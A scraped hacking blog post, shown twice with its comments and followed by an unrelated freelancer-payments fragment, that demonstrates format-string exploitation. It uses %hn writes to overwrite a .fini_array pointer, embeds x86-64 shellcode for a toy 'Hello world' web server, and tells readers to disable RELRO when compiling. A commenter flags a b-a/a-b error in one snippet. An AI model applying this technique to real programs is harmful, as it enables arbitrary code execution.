int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23681 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://ruul.io/blog/its-time-to-talk-about-late-payment-issues#$%7Bid%7D | It’s time to talk about late payment issues - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid It’s time to talk about late payment issues Let's address the elephant in the room: late payment issues. Explore strategies to tackle this common challenge and ensure you get paid on time! Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points We all know very well the benefits of working on your own terms, the freedom to travel to any part of the world, the comfort that comes from determining the working conditions yourself… Just as we see the good sides, we also see the difficulties of being a freelancer, and we want to discuss the problems of freelancers as we empower them. Today freelancer community is massive. There are more than 20 million freelancers in the EU, making up 8% of the workforce in the region, and in the US, there are nearly 60 million freelancers, which make up about 35% of the workforce.* Today freelancers are driving the economy. These numbers are rapidly increasing, especially after the COVID-19 